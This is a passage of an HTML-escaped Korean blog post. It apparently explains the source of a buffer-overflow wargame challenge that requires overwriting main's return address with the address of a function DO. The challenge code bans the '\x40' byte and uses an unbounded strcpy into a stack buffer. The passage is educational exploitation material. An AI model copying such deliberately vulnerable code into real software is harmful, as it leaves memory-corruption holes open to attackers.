14pt;&quot;&gt;];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;addr;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;파라미터가 없으면 &quot;argv error\n&quot;를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(argc&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;argv&amp;nbsp;error\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 첫 번째 parameter에 '\x40'이 있으면 &quot;You can't use library\n&quot;를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(strchr(argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'\x40'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;))&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;You&amp;nbsp;can't&amp;nbsp;use&amp;nbsp;library\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main의 EIP는 반드시 DO의 주소로 가야한다. 만일 main의 EIP가 &amp;amp;DO와 같지 않다면 &quot;You must fall in love with DO\n&quot;를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;addr&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DO;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(memcmp(argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;addr,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;You&amp;nbsp;must&amp;nbsp;fall&amp;nbsp;in&amp;nbsp;love&amp;nbsp;with&amp;nbsp;DO\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;첫 번째 인자를 buffer에 복사하고 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strcpy(buffer,&amp;nbsp;argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%s\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buffer);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;첫 번째 파라미터가 저장될 공간을 제외한 모든 스택영역을 0으로 초기화한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;memset(buffer,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 